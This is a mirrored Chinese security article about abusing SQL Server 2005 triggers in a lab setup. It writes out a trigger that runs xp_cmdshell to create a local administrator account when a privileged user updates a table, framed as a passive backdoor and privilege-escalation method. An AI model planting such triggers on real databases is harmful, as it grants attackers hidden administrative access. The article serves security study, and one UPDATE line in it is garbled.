SqlServer 2005 Trigger

wyzsk發表於2020-08-19
作者: darksn0w · 2014/11/02 13:23

0x01 什麼是觸發器:


觸發器對錶進行插入、更新、刪除的時候會自動執行的特殊儲存過程。觸發器一般用在check約束更加複雜的約束上面。觸發器和普通的儲存過程的區別是:觸發器是當對某一個表進行操作。諸如:update、insert、delete這些操作的時候,系統會自動呼叫執行該表上對應的觸發器。SQL Server 2005中觸發器可以分為兩類:DML觸發器和DDL觸發器,其中DDL觸發器它們會影響多種資料定義語言語句而激發,這些語句有create、alter、drop語句。

0x02 問題描述:


a)透過Sqlserver的觸發器,可以利用執行者的許可權執行自定義的命令。

b)滲透過程中可能利用的觸發器場景:在設定好觸發器以後,等待、誘使高許可權使用者去觸發這個觸發器,來實現入侵、提權、留後門等目的。

c)Sqlserver的觸發器可以分為兩類:DML觸發器(After insert,After delete,After update和instead of)和DDL觸發器(for)。

實驗環境: Win2003x86 && SqlServer 2005,預設安裝Sqlserver,安裝一個開源應用siteserver,並建立test使用者,不給予伺服器角色,資料庫角色僅給予dbo和public許可權。並將test庫與test使用者相互對映。SqlServer的xp_cmdshell已經被恢復。

實驗過程: a)使用test使用者建立觸發器語句:

#!bash
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO                             --這些是 SQL-92 設定語句,使 mssql 遵從 SQL-92 規則。
CREATE TRIGGER test
   ON bairong_Administrator
   AFTER UPDATE           /*建立一個作用於表bairong_Administrator的、
                            型別為After update的、名為test的觸發器*/
AS 
BEGIN
    --EXECUTE SP_ADDEXTENDEDPROC 'MASTER.DBO.XP_CMDSHELL','XPLOG70.DLL'
           EXECUTE MASTER.DBO.XP_CMDSHELL 'net user STD 123456 /add'
    EXECUTE MASTER.DBO.XP_CMDSHELL 'net localgroup administrators STD /add'
           /*預設格式begin為開頭加上觸發後執行的語句,這裡是利用儲存過程新增系統賬號。*/
END
GO

enter image description here

b)執行UPDATE操作,是觸發器執行:

1)使用UPDATE語句來觸發觸發器:

#!bash
UPDATE bairong_Administrator SET [email protected]' WHERE UserName='admin';

使用test使用者執行:

enter image description here

enter image description here

enter image description here

2)使用sa使用者執行:

enter image description here

enter image description here

enter image description here

那麼這就產生一個問題了,如何利用被動觸發留後門或滲透攻擊。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章